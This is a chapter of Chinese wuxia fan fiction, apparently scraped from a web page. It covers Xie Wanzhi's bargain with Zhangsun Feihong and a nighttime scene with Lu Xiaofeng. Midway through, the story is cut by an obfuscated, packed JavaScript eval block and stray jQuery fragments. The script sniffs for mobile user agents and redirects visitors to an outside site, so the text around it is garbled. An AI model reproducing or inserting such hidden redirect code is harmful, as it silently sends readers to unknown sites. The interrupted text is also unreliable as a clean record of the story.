谢挽之愣了一下。


    “老……咳，前辈。”很快自恍惚中回神，她持枪负手，笑得漫不经心：“您这话，晚辈就听不明白了。”


    “前辈与我不过初次谋面，哪里知道晚辈以前内力如何？还是说……”她顿了顿，嬉笑的眸子里划过一道暗光：“前辈过去曾在哪里见过我么？”


    长孙飞虹目光沉沉，皱眉定定看着眼前站没站样，轻浮玩笑却拒人千里的年轻人。她看似只是随意地捏着手里的枪，实则浑身肌肉紧绷，是随时打算暴起反击或夺路而逃的姿态。


    这姿态令他微微怔忡。


    谢挽之还在等待他的答复。


    掩去目中惊澜，长孙飞虹缓缓负手于身后，举目淡淡道：“老夫还以为，三年前能仅凭一人一枪就替关东万马堂从十二连环坞手里追回数十万两白银的赏金猎人，内力修为应在此之上。”


    不是，他以为糊弄小孩么？谢挽之眸光一暗，难得执着地追问，虽然笑着，嘴角却带了一丝罕见的冷意：“前辈，这解释说出来，你自己能信？”


    见她警觉如斯，长孙飞虹不怒反笑，轻捋长髯，目光睥睨，仿佛在说：即便如此，你又能奈何。


    谢挽之微微语塞。是，他不说，她的确拿他奈何不得。一力降十会。这里还是对方的地盘，加上她还……卖了对方发的请帖！


    就连拿威堂都忍不下去刁难自己，何况是就连赵佶都要给几分薄面的凄凉王。


    想到此处，她心神一凛，反应过来自己刚才的失态有多么不合时宜。


    “谢挽之，和老夫打个赌如何？”长孙飞虹却半点没有追究请帖一事之意，开口淡淡道。


    “和我么？”她恢复了镇定，神情恭敬，态度却疏离：“抱歉了前辈，谢某素来谨记家规，从不沾赌。”


    长孙飞虹轻轻颔首，竟不因她的连番试探和拒绝而觉冒犯，只微微沉吟，似在思索什么。


    若是神枪会其他人在此，见到平日里说一不二，雷厉风行的总会主对人如此纵容宽和，怕也要惊掉了下巴。


    “既然如此，那便与老夫做个交易吧。”他说。


    …………


    夜色沉，今夜无月。


    谢挽之揣着手耷拉着肩，在抽签处被告知已经有人代她抽签决定了比试次序和对手，只却对是谁代她抽签一事闭口不言。


    可恶！又是拿威堂的弟子。


    对方摆明了故意刁难，再热脸贴冷屁股也无用，谢挽之哀叹一声，索性扭头往安排好的住处去，心道：不说便不说罢，左右到了明天正式打擂的时候也就知道了。


    一时却想起不久前与长孙飞虹对话的场景——


    “交易？我身上还能有什么东西，值得凄凉王屈尊和我谈交易？”


    “你是此次大会中唯一一个将请帖转手卖了的人，只这一件事，神枪会中多的是人想要你性命。”长孙飞虹：“你可知道？”


    “大概……能猜到。”她尴尬地屈指挠了挠脸颊，眼神闪烁：人在屋檐下，能屈能伸方为生存之道。


    深吸一口气，利落地拱手俯身：“我道歉，我真心道歉。我承认我确实爱钱，并非有意出尔反尔挑衅贵派。还望……凄凉王不要和我一个无名晚辈计较。”


    “老夫料你也不敢。”


    谢挽之“嗯嗯”应是，现在等于小命被捏在对方手里，她满脸乖觉，笑嘻嘻无有不应。


    长孙飞虹道：“以你这些年在江湖上一贯趋利避害的行事作风，你本该早就溜回关内去了。”


    “你既然敢来，便是有不得不来的理由。”


    “对，您说得都对。不愧是您。”谢挽之夸张却略带敷衍地赞叹。心道：只除了回关内一事他说错了。


    六分半堂正等着她人一露头就把她宰了，她才不会就这样毫无准备地回关内。要回去也得等她先找到不知在哪里磨练剑技的挚友，或者跑一趟魔教带上武功或已更上一层楼的小傅，想好对策，她才会动身。


    “至于你说你爱钱……”长孙飞虹摇了摇头，目光洞若观火：“你不是爱钱，你只是需要钱。”


    “不，您错了，我是真的爱钱。”谢挽之郑重纠正，心中暗暗发紧：这位前辈到底查了她多少事？是因为她曾经替关东万马堂做事，所以引得对方忌惮？


    她一时只觉如芒在背，被人这般看透，偏偏对对方却所知甚少的情形……她还从未有过。要不是为了……


    “要不是为了那两株七生草，你恐怕根本不会来。”


    在对方看不见的地方，谢挽之双目微凝，遏住发颤的指尖，闭了闭眼淡淡一笑，深吸一口气，霍然睁开眼，声音冷然犀利：“前辈，你究竟想要我做什么？”


    ………


    “不是他疯了，就是我疯了。”谢挽之翘着腿躺在榻上，双手背在脑后仰头望天，抱头喃喃自语：“怎么看都是他疯了的可能性更大些。”


    “谁疯了？”一阵熟悉的笑声自头顶响起。梁上没有君子，只有一只陆小鸡。


    “陆小凤！这是第几次了！”


    见玄衣人不出意料被吓得自榻上蹦了起来，陆小凤眼底笑意深浓，叹息着悠悠往桌边一坐，两条腿随意地伸展着，仰头灌了口酒，修长的指间捏着张字条，朝她晃了晃。


    谢挽之双眼一亮：“原来是你替我抽的签。”说着起身上手去取。


    陆小凤笑着，却在她靠近时微微一怔，轻扣住她的手腕，声音发紧：“你受伤了？”


    “一点小伤。”不明白他这么紧张做什么，谢挽之毫不在意地摆了摆手，兴致勃勃地展开字条一看——


    咦？怎么是空白的？


    倒转过来无字，翻转回去也无字。莫非要用火燎才会显出用特殊药水写下的字迹吗？


    正要靠近点着的烛灯试验，手却为人捉住，身侧响起带着淡淡酒气的笑音：“不用试了，这张纸上确实没字。”


    “也只有这一张纸上没字。”


    “这、这难道意味着……？”谢挽之不敢置信地倒吸一口气，声音隐隐颤抖。


    陆小凤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461654|197158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被她的模样逗笑，笑盈盈地点头：“一轮轮空。只此一位。”


    “哎，不是我吹嘘，我的手气一向很好。”他眨了眨眼：“怎么样，算不算意外之喜？”


    算！怎么不算！她此生以来都从未有过如此好运！


    一箩筐的夸赞几乎是脱口而出，陆小凤在她口中俨然已经跻身挚友行列，从此之后可堪与楚兄红兄肩并肩坐一桌。


    “红兄？”陆小凤敏锐地识别出关键词：“中原一点红？”


    在某人肯定的点头里，陆小凤捂脸低低一叹：“我还以为只有楚留香，怎么又来一个……”


    这句话却提醒了谢挽之：“你一个人来的么？”


    “遇到些事，中途各自分开了。”陆小凤似乎不愿多谈，含糊其辞。说完话锋一转，眨了眨眼睛笑道：“你还没回答我，刚才你说谁疯了？”


    “……”这家伙抓重点的能力倒确是一等一的。


    刚想打个哈哈糊弄过去，却在对上陆小凤的眼神时心头微微一动，难得有几分心虚……毕竟刚才才口称对方是自己的挚友。


    她轻叹了口气，撇开头抓了抓头发：“是我自己。”


    长孙飞虹要她尽力拿下比试的头名。


    她没办法拒绝。对方既然知她来意，自然也知道她要拿七生草做什么。她不喜欢赌，所以她只能答应。


    可是：“不说赫连春水、方应看和王盛兰，即便是神枪会内部也高手如云，凄凉王未免太高看我了。”她当时对长孙飞虹坦言。


    “你做得到。”长孙飞虹淡淡道：“只要你还记得自己是谁，你就做得到。”


    她是谁？她是谢挽之，也只是谢挽之。她都不相信自己能做到的事，长孙飞虹哪来的这份笃定？他以为她是谁？她早就不……


    “挽之？挽之、之之！”


    她猛地回过神，抬头望进陆小凤泛着担忧之色的眼眸，张了张口，皮笑肉不笑道：“之之？我是什么大耗子么？我拒绝这个称呼。”


    轻描淡写的一贯口吻，如果不是她刚才显得格外难看的脸色，陆小凤几乎要被她骗过去。


    他叹了口气，声音很轻，轻得像怕惊飞檐下的雀，又或是惊走栖在叶梢的蝴蝶。


    他直觉她今天很不对劲。她刚才的样子莫名再一次让他想起自己的过去，十七岁那年跳进河里没有被水淹死的陆小凤，像只落汤鸡一样爬上岸之后没多久，江湖上从此就多了一个浪子。


    他望着谢挽之，在一个不近不远的距离，无害的、不会有任何压迫感的距离，脸上是玩世不恭又带着点淡淡温柔的笑，抱臂倚在窗边，侧身看着窗外：“哎，这天上连个月亮都看不见。”


    “不是每个晚上都有月亮的。”被他这么一打岔，谢挽之顿了顿，严肃指出：“陆兄，这是常识。”


    “胡说。”陆小凤学着她的样子，同样严肃地指出：“月亮不就站在你面前么。”


    “……”


    在谢挽之无语的欲言又止里，陆小凤望着她，愉悦地笑了起来。